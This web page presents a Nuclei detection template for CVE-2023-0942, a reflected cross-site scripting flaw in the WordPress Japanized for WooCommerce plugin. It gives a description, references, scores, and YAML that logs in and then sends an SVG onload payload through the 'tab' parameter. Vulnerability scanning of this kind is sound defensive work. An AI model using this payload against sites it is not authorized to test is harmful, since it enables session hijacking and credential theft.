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WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting

ID: CVE-2023-0942

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,xss,woocommerce,plugin,artisanworkshop

Description

Section titled “Description”

WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-0942


info:
  name: WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.5.5.
  reference:
    - https://wpscan.com/vulnerability/71aa9460-6dea-49cc-946c-d7d4bf723511
    - https://wordpress.org/plugins/woocommerce-for-japan/
    - https://plugins.trac.wordpress.org/browser/woocommerce-for-japan/trunk/includes/admin/views/html-admin-setting-screen.php#L63
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0942
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2868545%40woocommerce-for-japan%2Ftrunk&old=2863064%40woocommerce-for-japan%2Ftrunk&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0942
    cwe-id: CWE-79
    epss-score: 0.00445
    epss-percentile: 0.74926
    cpe: cpe:2.3:a:artisanworkshop:japanized_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: artisanworkshop
    product: japanized_for_woocommerce
    framework: wordpress
  tags: cve2023,cve,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,xss,woocommerce,plugin,artisanworkshop


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wc4jp-options&tab=a</script><svg/onload=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "woocommerce-for-japan")'
        condition: and
# digest: 490a0046304402203456b51ef4db255f79dc6212f2b2898e91b8fe12cafb75f0ed1ca9334c5ea5b202207da02ead94d49f9cbd30723062249ab7fa9ce0dd49e7853f2032d05055a87b94:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0942.yaml"

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